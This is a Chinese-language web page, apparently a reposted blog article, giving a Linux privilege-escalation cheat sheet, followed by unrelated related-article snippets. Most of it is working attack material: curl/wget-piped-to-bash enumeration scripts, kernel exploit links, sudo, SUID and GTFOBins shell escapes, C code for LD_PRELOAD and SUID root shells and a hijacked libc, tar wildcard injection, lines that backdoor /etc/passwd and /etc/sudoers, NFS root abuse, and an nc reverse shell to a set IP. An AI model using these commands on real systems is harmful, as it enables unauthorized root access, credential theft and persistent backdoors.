Linux提权备忘录

2023-11-10

如果不是因为真的喜欢你,我纠缠你干嘛,我又何必那么卑微,那么不堪,甚至不停修改自己的底线,到最后变得一文不值。。。

----  网易云热评

一、判断是否为虚拟机

cat /proc/scsi/scsi

dmesg |grep -i vir

w / who 查询目前登录系统的用户

 

二、辅助工具

1. LinuxSmartEnumeration(参考了LinEnum.sh)

三个工作模式可选:

-l 0 (缺省),显示特别重要的信息

-l 1 显示interesting的信息

-l 2 显示所有的信息

wget "https://github.com/diego-treitos/linux-smartenumeration/raw/master/lse.sh" -O lse.sh;chmod 700 lse.shcurl "https://github.com/diego-treitos/linux-smartenumeration/raw/master/lse.sh" -Lo lse.sh;chmod 700 lse.sh单行执行:bash <(wget -q -O - https://raw.githubusercontent.com/diegotreitos/linux-smart-enumeration/master/lse.sh) -l2 -ibash <(curl -s https://raw.githubusercontent.com/diego-treitos/linux-smartenumeration/master/lse.sh) -l1 -i

2. LinEnum

常用命令:./LinEnum.sh -r report -e /tmp/ -t 生成的结果将导出到 /tmp/report 文件

如果什么都不加的话,就是输出到标准输出

3. BeRootProject

python beroot.py --password super_strong_password

这个工具包含了GTFOBins所提到的文件列表,也就是说,可以检查出一些通过sudo运行即可提权

的文件。

4. Pupy

基于python的内存态后渗透利用框架

5. SUDO_KILLER探测脚本

 

三、信息搜集

1、关注点主要在:计划任务、具有suid的命令

2、内核和发行版的详细信息

3、系统信息:主机名

网络信息:当前IP、默认路由、DNS信息

4、用户信息:

当前用户详细信息

上次登录的用户

当前登录到主机的用户

列出所有用户uid、gid

列出root用户

密码策略和hash存储方法信息

umask值

检查password hash是否存在于 /etc/passwd (这个文件是全局可读的)

提取默认的uid的信息信息(0、1000、1001之类的)

尝试读取受限文件(例如 /etc/shadow )

列出当前用户的历史文件(例如 .bash_history 、 .nano_history 、 .mysql_histroy 、 .swp 文件)

ssh

5、特权检查

哪些用户最近使用了 sudo

/etc/sudoers 是否可以访问

确定当前用户是否可以不使用即可使用 sudo

确定通过sudo可能利用即可获得权限的命令

root 目录是否可以访问

查看 home 目录下的权限

6、环境信息:

查看当前的$PATH

查看当前的 env 信息

7、计划任务、进程

查看计划任务

确定属于其他用户的全局可写的计划任务

列出系统计时器(活动的、不活动的)

8、服务:

列出网络连接

列出当前进程

查看进程对应的二进制文件以及权限

列出 inetd.conf/xined.conf 的内容以及相关二进制程序的权限

列出 init.d 二进制的权限

9、查看版本信息:

sudo

mysql

postgres

apache

查看用户配置

查看可用模块

查看htpasswd文件

查看www目录

10、默认/弱口令的证书

主要是数据库的默认密码、弱口令

重点搜索:

所有具有SUID/GUID的文件,尤其是全局可写的SUID/GUID的文件、属于root的具有

SUID/GUID的文件

Locate files with POSIX capabilities?capabilities一种安全机制

带有 *.plan 、 *.rhosts 、 *.log 、 *.conf 的文件

NFS服务信息

本地邮件

11、特定的软件

docker

LXC

 

四、密码相关

1. 查找包含密码的文件(关键字 password )

grep --color=auto -rnw '/' -ie "PASSWORD" --color=always 2> /dev/null

find . -type f -exec grep -i -I "PASSWORD" {} /dev/null \;

2. 查看过期的密码

pam_cracklib会保存过期的密码记录在 /etc/security/opasswd 文件中。

3. 查看用户最后编辑的文件

find / -mmin -10 2>/dev/null | grep -Ev "^/proc"

最近十分钟编辑的文件

4. 内存中的密码

strings /dev/mem -n10 | grep -i PASS

5. 查看敏感文件

$ locate password | more

/boot/grub/i386-pc/password.mod

/etc/pam.d/common-password

/etc/pam.d/gdm-password

/etc/pam.d/gdm-password.original

/lib/live/config/0031-root-password

 

五、计划任务

Cron

检查系统中存在的cron计划任务,看看是否有权限访问和修改

检查文件内容,看看有没有可以提权的途径

利用pspy工具,检查命令和文件系统事件 ./pspy64 -pf -i 1000

敏感目录

/etc/init.d

/etc/cron*

/etc/crontab

/etc/cron.allow

/etc/cron.d

/etc/cron.deny

/etc/cron.daily

/etc/cron.hourly

/etc/cron.monthly

/etc/cron.weekly

/etc/sudoers

/etc/exports

/etc/anacrontab

/var/spool/cron

/var/spool/cron/crontabs/root

crontab -l

ls -alh /var/spool/cron;

ls -al /etc/ | grep cron

ls -al /etc/cron*

cat /etc/cron*

cat /etc/at.allow

cat /etc/at.deny

cat /etc/cron.allow

cat /etc/cron.deny*

cron的日志文件存储为 /var/log/cronlog ,可以看到最近执行的定时任务信息。

配置文件读取路径:

/var/spool/cron/ , 由crontab -e 进行写入,配置文件无需指定用户;用户创建的任务在对应用户名文件夹下。

/etc/crontab ,只能root 进行编辑,配置文件需指定用户

/etc/cron.d/ ,在此文件夹下创建定时任务文件(和 /etc/crontab 一样)

日志保存地址:/var/log/cron ;要禁止某个用户使用,将用户名添加到 /etc/cron.deny文件中。

systemd timers

系统定时器,也是计划任务的一种

查询命令:systemctl list-timers --all

相关信息:

如果想使用systemd作为定时器,需要先创建一个服务单元,之后再创建计时器单元

重新加载配置:systemctl daemon-reload

journalctl -u mytimer 查看 mytimer.timer 和 mytimer.service 的日志

详细原理:https://www.linuxidc.com/Linux/2019-05/158599.htm

 

六、内核漏洞

内核提权漏洞(依靠EXP)

1. 在exploit-db、或者其他搜索引擎上查找相关提权漏洞。

2. 利用脏牛 2.6.22<=kernel <= 4.8.3、4.7.9、4.4.26LTS )

3. 一般这种提权漏洞都是c的,需要gcc编译 gcc filename -o outfilename 。

内核漏洞搜集项目:

https://github.com/lucyoa/kernel-exploits/

https://github.com/offensive-security/exploitdb-bin-sploits/tree/master/bin-sploits

https://github.com/SecWiki/linux-kernel-exploits 中文 NICE~

https://github.com/xairy/kernel-exploits

https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack/

常见漏洞:

1. CVE-2016-5195 (DirtyCow):(Linux Kernel <= 3.19.0-73.8)

https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs

https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c

2. CVE-2010-3904 (RDS):(Linux Kernel <= 2.6.36-rc8)

https://www.exploit-db.com/exploits/15285/

3. CVE-2010-4258 (Full Nelson):(Linux Kernel 2.6.37 (RedHat / Ubuntu 10.04))

https://www.exploit-db.com/exploits/15704/

4. CVE-2012-0056 (Mempodipper):(Linux Kernel 2.6.39 < 3.2.2 (Gentoo / Ubuntu x86/x64))

https://www.exploit-db.com/exploits/18411

利用sudo命令

1. sudo -l :查看当前用户sudo支持的命令

$ sudo -l

User demo may run the following commands on crashlab:

(root) NOPASSWD: /usr/bin/mysql

比如以上结果列出了mysql,就可以使用 sudo mysql -e '\! /bin/sh' 获得一个特权shell,或者 sudo -u root mysql -e '\! /bin/sh'

最牛逼的情况:ignite ALL=(root) NOPASSWD: ALL

2. 使用用户密码切换到root用户:sudo -i 、 sudo su 、 sudo su -

3. 利用LD_PRELOAD:

如果在 sudoers 文件(/etc/sudoers)中明确定义了LD_PRELOAD的内容:

Defaults env_keep += LD_PRELOAD

可以使用以下代码,编译共享链接库 gcc -fPIC -shared -o shell.so shell.c -nostartfiles

//shell.c#include <stdio.h>#include <sys/types.h>#include <stdlib.h>void _init() {unsetenv("LD_PRELOAD");setgid(0);setuid(0);system("/bin/sh");}

使用如下命令,执行任何二进制程序以获得shell

sudo LD_PRELOAD=<full_path_to_so_file> <program>

举个例子:sudo LD_PRELOAD=/tmp/shell.so find

4. 同时要注意其他和sudo有同样功能的程序,比如openBSD的 doas 命令

# /etc/doas.conf

# 以root用户不需要密码执行 procmap

permit nopass tedu as root cmd /usr/sbin/procmap

5. sudo_inject

在 /proc/sys/kernel/yama/ptrace_scope 中值为0,并且当前用户有正在使用sudo运行的进程的时候,可以只用sudo_inject攻击来滥用当前令牌。

6. 如果有权限的话,可以看看后面的内容

关于SUDO

sudo:配置文件默认在 /etc/sudoers ,推荐使用 visudo 工具来编辑,可以语法检查。

四种别名:Host_Alias(主机列表)、Cmnd_Alias(命令列表【绝对路径】,如果想禁用某些命令前面加 !即可)、User_Alias(用户列表)、Runas_Alias(用户以什么身份执行)

格式:USER_FLAG HOST_FLAG=(RUNAS_FLAG) COMMAND_FLAG ,如果不需要密码的话

USER_FLAG HOST_FLAG=(RUNAS_FLAG) NOPASSWD: COMMAND_FLAG

 

七、利用SUID提权

1. 查找具有suid权限的命令:find / -user root -perm -4000 -print 2>/dev/null 、 find / -perm -u=s -type f 2>/dev/null 、 find / -user root -perm -4000 -exec ls -ldb {} \; 、find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \; 、 find / -uid 0 -perm -4000 -type f 2>/dev/null

2. 常见的用于SUID提权的程序:

3. Nmap:较旧版本的Nmap(2.02至5.21)带有交互模式,从而允许用户执行shell命令。

nmap --interactive , nmap> !sh 。

4. find:`touch test`

find test -exec whoami \;

find test -exec bash -p \;

find test -exec /bin/sh \; (DC1就遇到bash无法提权,但是sh可以提权的情况)

find test -exec nc -e /bin/sh 192.168.139.128 9999 \;

5. vim:直接编辑文件 vim /etc/shadow ,或者进入vim后启动sh交互。

:set shell=/bin/sh

:shell

或者:vim -c '!sh'

6. bash:bash -p

7. 利用less执行命令:less /etc/passwd , !/bin/sh (已经设置suid的sh)、(more也可以)

8、为什么可以使用SUID提权:SUID代表“执行时设置用户ID”,具有该标志位的文件在执行时,运行的uid变为属主身份,也就是说,如果一个程序属主是root,并具有suid标志位,其他用户运行时uid会临时变为root。

9. 构造一个具有suid的程序(如果root权限的话):

给程序添加suid标记:chmod +s 文件

利用自己的代码做一个suid的shell

// filename: suid.cint main(void){setgid(0);setuid(0);system("/bin/bash");}// 或者int main(void){setresuid(0, 0, 0);system("/bin/sh");}

gcc编译之后, chown root:root /tmp/suid; chmod 4777 /tmp/suid 【注意,得先把属主改为root,之后再添加s标志】

 

八、GTFOBins

GTFOBins是一个精选的Unix二进制列表,攻击者可以利用它来绕过本地安全限制。

1、利用vim获得shell:

:set shell=/bin/bash , :shell

:! /bin/bash

2. 利用 awk:awk 'BEGIN {system("/bin/sh")}'

3. 利用find :find / -name blahblah -exec /bin/awk 'BEGIN {system("/bin/sh")}' \;

4. 利用more 和 less:! /bin/bash

 

九、通配符

通过将tar与–checkpoint-action选项一起使用,可以在检查点之后使用指定的操作。此操作可能是恶意的Shell脚本,可用于在启动tar的用户下执行任意命令。使用特定选项的“欺骗”根源非常简单,这就是通配符派上用场的地方。

touch -- "--checkpoint=1"

touch -- "--checkpoint-action=exec=sh shell.sh"

echo "#\!/bin/bash\ncat /etc/passwd > /tmp/flag\nchmod 777 /tmp/flag" >

shell.sh

# vulnerable script

tar cf archive.tar *

详细原理请看《关于通配符提权》的笔记。

利用工具:wildpwn(其实就是将创建文件自动化了)

但是提供了一个自动化的攻击思路

 

十、利用可写文件(敏感文件)

1、搜索可写文件

find / -writable ! -user \`whoami\` -type f ! -path "/proc/*" ! -path"/sys/*" -exec ls -al {} \; 2>/dev/nullfind / -perm -2 -type f 2>/dev/nullfind / ! -path "*/proc/*" -perm -2 -type f -print 2>/dev/null

2、写/etc/passwd

生成密码字符串的三种方式:

openssl passwd -1 -salt 盐值 密码

mkpasswd -m SHA-512 密码

python2 -c 'import crypt; print crypt.crypt("密码", "$6$salt")'

按照如下格式添加到 /etc/passwd 文件中

用户名:生成的密码:0:0:Hacker:/root:/bin/bash

不生成密码的方式(极其暴力)

echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd

su - dummy

BSD 系统中文件名称为:/etc/pwd.db 、 /etc/master.passwd 、 /etc/spwd.db

3、写/etc/sudoers

echo "用户名 ALL=(ALL:ALL) ALL">>/etc/sudoers

# use SUDO without password

echo "用户名 ALL=(ALL) NOPASSWD: ALL" >>/etc/sudoers

echo "用户名 ALL=NOPASSWD: /bin/bash" >>/etc/sudoers

 

十一、NFS权限压缩

NFS的配置文件:/etc/exports

如果no_root_squash 出现在配置文件中的话,如果目录分享者是root,那么对于远程挂载

用户来说,他也具有了该目录下root的权限。

具体操作:

查看远程主机共享的文件夹:showmount -e 10.10.10.10 

建立目录、挂载远程主机共享文件

mkdir /tmp/nfsdir

mount -t nfs 10.10.10.10:/shared /tmp/nfsdir

cd /tmp/nfsdir

恶意利用:

# copy wanted shell

cp /bin/bash .

# set suid permission

chmod +s bash

十二、共享库

系统识别共享库的顺序:

1. rpath-link选项中指定的目录

2. –rpath选项中指定的目录

3. LD_RUN_PATH

4. LD_LIBRARY_PATH

5. DT_RUNPATH或DT_RPATH中的目录

6. /lib 、/usr/lib

7. /etc/ld.so.conf下的目录。

利用 ldconfig

识别程序所使用的动态链接库信息(实际是需要同名替换) ldd 二进制文件

编译一个同名为 vulnlib.so 的文件,进行替换(这个地方不确定要不要加版本号)

gcc –Wall –fPIC –shared –o vulnlib.so /tmp/vulnlib.cecho "/tmp/" > /etc/ld.so.conf.d/exploit.conf && ldconfig -l /tmp/vulnlib.so /opt/binary

后面的数字作为版本号,连接器并不识别后面的内容,只识别到 so

命名规范的话:

主版本号:不同的版本号之间不兼容

次版本号:增量升级 向后兼容

发行版本号:对应次版本的错误修正和性能提升,不影响兼容性

 

十三、利用RPATH

查看程序使用RPATH情况:readelf -d 文件名 | egrep "NEEDED|RPATH"

根据上边的结果,在 /var/tmp/flag15 路径下构造恶意共享库

​​​​​​​

gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6#include<stdlib.h>#define SHELL "/bin/sh"int __libc_start_main(int (*main) (int, char **, char **), int argc,char ** ubp_av, void (*init) (void), void (*fini) (void), void(*rtld_fini) (void), void (* stack_end)){char *file = SHELL;char *argv[] = {SHELL,0};setresuid(geteuid(),geteuid(), geteuid());execve(file,argv,0);}

 

文章来源于网络,如有侵权,请联系删除

禁止非法,后果自负

欢迎关注公众号:web安全工具库

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

Linux提权备忘录 的相关文章

  • 全网最全的IDEA热部署方案,看完弄懂,再也不用加班

    概念 热部署就是正在运行状态的应用 修改了它的源码之后 在不重新启动的情况下能够自动把增量内容编译并部署到服务器上 使得修改立即生效 热部署为了解决的问题有两个 1 在开发的时候 修改代码后不需要重启应用就能看到效果 大大提升开发效率 2
  • python的http服务

    在一个局域网中因为要传输文件给朋友 所以建一个简单的http服务器 自己主机作为服务器 让朋友下载文件 自己主机安装pyhton 到要共享的文件夹下 开启HTTP服务 python m http server 9999 其他主机浏览器访问
  • Java实现算法“两数之和”

    最近开始刷LeetCode 为了加深印象 一定要写下来 题目 给定一个整数数组nums和一个目标值target 请你在该数组中找出和为目标值的那两个整数 并返回它们的数组下标 可以假设每种输入只会对应一个答案 但是不能重复利用这个数组中同样

随机推荐

  • Spring设计模式,事务管理和代理模式的应用

    扩充 贝叶斯定理答案见底 设计模式对关于面向对象问题的具体解决方案 1 单例多例 在设计单例模式时 要注意两个点 1 构造方法要私有 2 成员变量要私有 3 创建对象所用的方法要被synchronized修饰 因为方法体中会涉及到判断当前成
  • Java:利用I/O流读取文件内容

    要利用I O流读取文件内容 首先要掌握InputStream的体系结构 这个体系中FileInputStream和BufferedInputStream是一定要掌握的 因为使用的频率比较高 InputStream的方法 InputStrea
  • 爬虫简单语法

    一 requests 适用于爬取静态网页 1 get requests get 参数 参数可以是 接收一个网址 url 在请求某个查询时 在通用网址后 query 查询的内容 比如 在搜狗引擎中 搜索 content input 请输入你要
  • 1、基于ARM平台Golang简单Demo:交叉编译

    arm平台为M3352核心板 编译环境为Ubuntu14 04 目标 在Ubuntu环境编译Go代码 在arm平台运行 每分钟打印当前时间 源代码文件名 go arm cross build go package main import f
  • PyTorch入门(三)PyTorch常用操作

    PyTorch常用操作 bilinear kernel bilinear kernel def bilinear kernel in channels out channels kernel size return a bilinear k
  • STM32——SysTick timer(STK)----系统定时器

    系统定时器是属于Cortex内核中的一个外设 所有Cortex M内核的单片机都有这个定时器 Systick定时器常用来做延时 或者实时系统的心跳时钟 这样可以节省MCU资源 不用浪费一个定时器 它是一个24位 向下递减的计数器 由以下四个
  • elastic-job 执行原理

    Elastic Job执行原理 1 如果只有一个分片的情况下 就是和原生的quartz一样的 就是所有的任务都在一台机器上面执行 2 如果有两个分片的情况下 然后5个job在两台机器上面执行 机器 machine1 machine2 job
  • 1896-2021历届奥运会奖牌榜动态排序(Matplotlib图表动画)

    摘 要 在制作动态排序动画之前 我们看一下数据的整理情况 a 对第1 种大部分数据的情况 先爬取下来 输出到excel 1 b 对第2 种小部分数据的情况 也先爬取下来 输出到另一个excel 2 c 对第3 种个别的 还有第31 32届的
  • 合适新手入门的串口屏学习分享

    串口屏学习分享 一 串口屏简单介绍 二 编辑界面的详细介绍 三 实战演练 制作串口屏键盘 1 准备工作 2 开始 四 总结 一 串口屏简单介绍 串口是我们在学习编程 学习单片机时经常需要的 本人就是在学习32单片机时需要用到 所以才深入了解
  • 计算机怎么消除用户密码,电脑开机设置了密码要怎么删除

    很多人的电脑都设置了开机密码 但每次开机都要输入也会觉得麻烦 怎么删除开机密码呢 下面由小编为大家整理了的方法步骤 希望对大家有帮助 电脑删除开机密码的方法和步骤如下 一 如果记得自己设置的密码 进行以下操作 1打开 我的电脑 在左则找到
  • Android常见的分辨率

    1 1 手机常见分辨率 4 3 VGA 640 480 Video Graphics Array QVGA 320 240 Quarter VGA HVGA 480 320 Half size VGA SVGA 800 600 Super
  • 线段检测M-LSD 已开源

    其中 M LSD tiny最快能以56 8FPS和48 6FPS的速度在手机上实时运行 没错 现在AI在手机上给家具直线描边的速度 可能比你还快 网页版在线demo 为了方便效果展示 作者们还推出了一个网页版demo 基于Python的fl
  • unity安卓平台多摄像机显示黑屏问题

    问题 用Unity2019 2 0打包安卓平台的项目 在多摄像机显示的时候 老是会只渲染最顶层的摄像机 低渲染层级的摄像机不显示 解决方案 我先升级了Android SDK的版本 API版本升级到了29 然后把项目打包质量降低 然后打包 摄
  • openssl安装与使用

    文章目录 1 OpenSSL简介 2 OpenSSL安装 3 加密技术介绍 4 openssl 命令 4 1摘要命令 4 2对称加密命令 4 3非对称加密命令 4 3 1生成私钥 4 3 2提取公钥 4 3 3利用公钥加密 私钥解密数据 4
  • ECCV 2020《Linguistic Structure Guided Context Modeling for Referring Image Segmentation》论文笔记

    目录 简介 动机 贡献 方法 实验 简介 本文出自北航刘偲老师colab 使用语言结构引导上下文建模 用于Referring Image Segmentation 下载链接 动机 解决Referring Image Segmentation
  • docker-compose 运行hadoop

    参考网址 https github com big data europe docker hadoop 下载hadoop镜像 可以在github上自己手动构建hadoop镜像 也可以从dockerhup上下载 dockerhup上已经与该g
  • C语言注释风格(函数、功能、输入、输出、返回)

    C语言编程规范 注释 规则 1 一般情况下 源程序有效注释量必须在20 以上 说明 注释的原则是有助于对程序的阅读理解 在该加的地方都加了 注释不宜太多也不能太少 注释语言必须准确 易懂 简洁 2 说明性文件 如头文件 h文件 inc文件
  • yolov5 FPN 与 PAN的结构与作用

    在卷积神经网络过程中 网络层数越深 目标的特征信息就越强 模型对目标的预测就更好 但同时也会使得目标的位置信息越来越弱 并且在不断的卷积过程中 对小目标的信息容易造成损失 因此 需要进行不同尺度的预测 YOLOv5 采用 FPN 和 PAN
  • adamax参数_Adamax优化器

    Adamax是Adam的一种变体 此方法对学习率的上限提供了一个更简单的范围 更多详细的基本内容 请参照词条Adam 在Adam中 单个权重的更新规则是将其梯度与当前和过去梯度的L 2范数 标量 成反比例缩放 而作者又将基于L 2范数的更新
  • Linux提权备忘录

    如果不是因为真的喜欢你 我纠缠你干嘛 我又何必那么卑微 那么不堪 甚至不停修改自己的底线 到最后变得一文不值 网易云热评 一 判断是否为虚拟机 cat proc scsi scsi dmesg grep i vir w who 查询目前登录